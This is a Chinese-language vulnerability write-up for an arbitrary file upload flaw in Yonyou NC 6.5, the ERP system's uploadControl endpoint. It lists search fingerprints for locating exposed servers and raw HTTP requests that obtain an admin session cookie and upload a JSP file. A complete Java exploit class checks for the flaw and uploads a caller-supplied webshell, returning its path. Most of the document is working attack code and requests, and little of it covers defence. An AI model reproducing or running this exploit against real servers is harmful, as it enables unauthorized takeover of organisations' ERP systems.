用友NC uploadControl任意文件上传漏洞
一、漏洞描述
用友NC是用友网络科技股份有限公司研发的一款大型erp企业管理系统与电子商务平台。 该产品存在文件上传漏洞,攻击者可利用该漏洞获取服务器控制权。
二、影响版本
- 用友NC6.5
三、资产测绘
- huiter:
app.name=="用友 UAP"
- 登录页面
四、漏洞复现
- 通过poc获取cookie
GET /mp/loginxietong?username=admin HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
- 通过获取到的cookie上传文件
POST /mp/uploadControl/uploadFile HTTP/1.1
Host: xx.xx.xx.xx
Content-Length: 312
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoDIsCqVMmF83ptmp
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: JSESSIONID=633538797AC8C855098ACCFEAC78A197.server;
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
------WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Disposition: form-data; name="file"; filename="du1.jsp"
Content-Type: application/octet-stream
Hello Administrator!
------WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryoDIsCqVMmF83ptmp--
- 上传文件位置
http://xx.xx.xx.xx/mp/uploadFileDir/du1.jsp
五、漏洞利用代码(Java
)
传入参数
- url(系统url地址,格式http://127.0.0.1)
- fileName(上传wbshell文件名,格式:xx.jsp)
- webshell(webshell内容,jspwebshell)
方法
POC()
检查漏洞是否存在。当漏洞存在时返回true,并获取cookie,为cookie赋值EXP()
漏洞利用,上传webshell并返回上传路径path
package yonyou;
import com.github.kevinsawicki.http.HttpRequest;
public class YonyouNC_UploadControl_Upload {
private String url;//定义用友NCurl地址
private String path;//定义漏洞path目录地址
private String cookie;//定义cookie
private String webshell;//定义webshell内容
private String fileName;//定义上传文件名
public String getUrl() {
return url;
}
public void setUrl(String url) {
this.url = url;
}
public String getPath() {
return path;
}
public void setPath(String path) {
this.path = path;
}
public String getCookie() {
return cookie;
}
public void setCookie(String cookie) {
this.cookie = cookie;
}
public String getWebshell() {
return webshell;
}
public void setWebshell(String webshell) {
this.webshell = webshell;
}
public String getFileName() {
return fileName;
}
public void setFileName(String fileName) {
this.fileName = fileName;
}
public boolean POC() {
//获取cookie path路径
path = "/mp/loginxietong?username=admin";
//发起get请求获取cookie信息
HttpRequest getCookie = HttpRequest.get(url + path)
.trustAllCerts()
.trustAllHosts()
.connectTimeout(5000)
.readTimeout(5000)
.followRedirects(false);
//当响应码为302,表示漏洞存在
if (getCookie.code() == 302) {
cookie = getCookie.header("Set-Cookie");
return true;
}
return false;
}
//EXP,上传webshell
public boolean EXP() {
//定义文件上传path路径
path = "/mp/uploadControl/uploadFile";
//通过POC判断漏洞是否存在,当存在漏洞时上传webshell
if (POC()) {
//发起post请求上传文件
HttpRequest uploadFile = HttpRequest.post(url + path)
.trustAllCerts()
.trustAllHosts()
.connectTimeout(5000)
.readTimeout(5000)
.header("Cookie", cookie)
.part("file", fileName, webshell)
.part("submit", "上传");
//当响应码为200时返回true,表示文件上传成功,并返回文件上传路径
if (uploadFile.code() == 200) {
path = "/mp/uploadFileDir/" + fileName;
return true;
}
//文件上传失败,不存在漏洞
return false;
}
//不存在漏洞,返回false
return false;
}
}